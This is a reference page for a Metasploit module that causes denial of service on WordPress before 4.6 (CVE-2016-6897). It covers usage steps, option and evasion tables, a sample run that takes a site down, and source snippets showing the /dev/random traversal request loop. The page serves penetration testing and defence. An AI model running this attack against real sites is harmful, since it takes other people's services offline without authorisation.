WordPress Traversal Directory DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/wordpress_directory_traversal_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: WordPress Traversal Directory DoS
Module: auxiliary/dos/http/wordpress_directory_traversal_dos
Source code: modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-6896, CVE-2016-6897

Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 allows remote attackers to hijack the authentication of subscribers for /dev/random read operations by leveraging a late call to the check_ajax_referer function, a related issue to CVE-2016-6896.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/wordpress_directory_traversal_dos
msf auxiliary(wordpress_directory_traversal_dos) > show targets
    ... a list of targets ...
msf auxiliary(wordpress_directory_traversal_dos) > set TARGET target-id
msf auxiliary(wordpress_directory_traversal_dos) > show options
    ... show and set options ...
msf auxiliary(wordpress_directory_traversal_dos) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module exploits a Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. This allows remote authenticated users to cause a denial of service (with /dev/random read operations).

You can find the vulnerable application like 4.5.3 from the official website

Verification Steps

  1. Start msfconsole
  2. Do: use auxiliary/dos/http/wordpress_directory_traversal_dos.rb
  3. Do: set RHOST [IP]
  4. Do: set TARGETURI [WordPress path]
  5. Do: set USERNAME [Valid Username]
  6. Do: set PASSWORD [Valid Password]
  7. Do: exploit
  8. WordPress website should be down

Scenarios

Wordpress 4.5.3 on Linux Mint 17.3

msf auxiliary(wordpress_directory_traversal_dos) > exploit

[*] Checking if user "test" exists...
[+] Username "test" is valid
[*] Executing requests 1 - 5...
[+] Finished executing requests 1 - 5
[*] Executing requests 6 - 10...
[+] Finished executing requests 6 - 10
...
[*] Executing requests 191 - 195...
[+] Finished executing requests 191 - 195
[*] Executing requests 196 - 200...
[+] Finished executing requests 196 - 200
[+] SUCCESS: /wordpress appears to be down
[*] Auxiliary module execution completed

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Msfconsole Usage

Here is how the dos/http/wordpress_directory_traversal_dos auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/wordpress_directory_traversal_dos

msf6 auxiliary(dos/http/wordpress_directory_traversal_dos) > show info

       Name: WordPress Traversal Directory DoS
     Module: auxiliary/dos/http/wordpress_directory_traversal_dos
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Yorick Koster
  CryptisStudents

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEPTH      10               yes       The depth of the path
  PASSWORD                    yes       The password to send the requests with
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RLIMIT     200              yes       The number of requests to send
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the wordpress application
  THREADS    5                yes       The number of concurrent threads
  TIMEOUT    5                yes       The maximum time in seconds to wait for each request to finish
  USERNAME                    yes       The username to send the requests with
  VHOST                       no        HTTP server virtual host

Description:
  Cross-site request forgery (CSRF) vulnerability in the 
  wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php 
  in WordPress before 4.6 allows remote attackers to hijack the 
  authentication of subscribers for /dev/random read operations by 
  leveraging a late call to the check_ajax_referer function, a related 
  issue to CVE-2016-6896.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-6897
  https://www.exploit-db.com/exploits/40288
  OVEID (OVE-20160712-0036)

Module Options

This is a complete list of options available in the dos/http/wordpress_directory_traversal_dos auxiliary module:

msf6 auxiliary(dos/http/wordpress_directory_traversal_dos) > show options

Module options (auxiliary/dos/http/wordpress_directory_traversal_dos):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      10               yes       The depth of the path
   PASSWORD                    yes       The password to send the requests with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RLIMIT     200              yes       The number of requests to send
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   THREADS    5                yes       The number of concurrent threads
   TIMEOUT    5                yes       The maximum time in seconds to wait for each request to finish
   USERNAME                    yes       The username to send the requests with
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the dos/http/wordpress_directory_traversal_dos auxiliary module:

msf6 auxiliary(dos/http/wordpress_directory_traversal_dos) > show advanced

Module advanced options (auxiliary/dos/http/wordpress_directory_traversal_dos):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/wordpress_directory_traversal_dos module can do:

msf6 auxiliary(dos/http/wordpress_directory_traversal_dos) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/wordpress_directory_traversal_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/wordpress_directory_traversal_dos) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

"<USER>" is not a valid username

Here is a relevant code snippet related to the ""<USER>" is not a valid username" error message:

70:	    exists = wordpress_user_exists?(user)
71:	    if exists
72:	      print_good("Username \"#{user}\" is valid")
73:	      return true
74:	    else
75:	      print_error("\"#{user}\" is not a valid username")
76:	      return false
77:	    end
78:	  end
79:	
80:	  def run

Aborting operation - a valid username must be specified

Here is a relevant code snippet related to the "Aborting operation - a valid username must be specified" error message:

79:	
80:	  def run
81:	    if wordpress_and_online?
82:	      print_status("Checking if user \"#{username}\" exists...")
83:	      unless user_exists(username)
84:	        print_error('Aborting operation - a valid username must be specified')
85:	        return
86:	      end
87:	
88:	      starting_thread = 1
89:

Aborting operation - failed to authenticate

Here is a relevant code snippet related to the "Aborting operation - failed to authenticate" error message:

88:	      starting_thread = 1
89:	
90:	      cookie  = wordpress_login(username, password)
91:	      store_valid_credential(user: username, private: password, proof: cookie)
92:	      if cookie.nil?
93:	        print_error('Aborting operation - failed to authenticate')
94:	        return
95:	      end
96:	
97:	      path = "/#{'../' * depth}dev/random"
98:

Timed out during request <VALUE>

Here is a relevant code snippet related to the "Timed out during request <VALUE>" error message:

113:	                  'plugin' => path
114:	                },
115:	                'cookie' => cookie
116:	              }, timeout = 0.2)
117:	            rescue => e
118:	              print_error("Timed out during request #{(starting_thread - 1) + i}")
119:	            end
120:	          end
121:	        end
122:	
123:	        threads.each(&:join)

FAILED: <TARGET_URI> appears to still be online

Here is a relevant code snippet related to the "FAILED: <TARGET_URI> appears to still be online" error message:

125:	        print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
126:	        starting_thread += ubound
127:	      end
128:	
129:	      if wordpress_and_online?
130:	        print_error("FAILED: #{target_uri} appears to still be online")
131:	      else
132:	        print_good("SUCCESS: #{target_uri} appears to be down")
133:	      end
134:	
135:	    else

<RHOST>:<RPORT><TARGET_URI> does not appear to be running WordPress

Here is a relevant code snippet related to the "<RHOST>:<RPORT><TARGET_URI> does not appear to be running WordPress" error message:

129:	      if wordpress_and_online?
130:	        print_error("FAILED: #{target_uri} appears to still be online")
131:	      else
132:	        print_good("SUCCESS: #{target_uri} appears to be down")
133:	      end
134:	
135:	    else
136:	      print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
137:	    end
138:	  end
139:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Yorick Koster
  • CryptisStudents

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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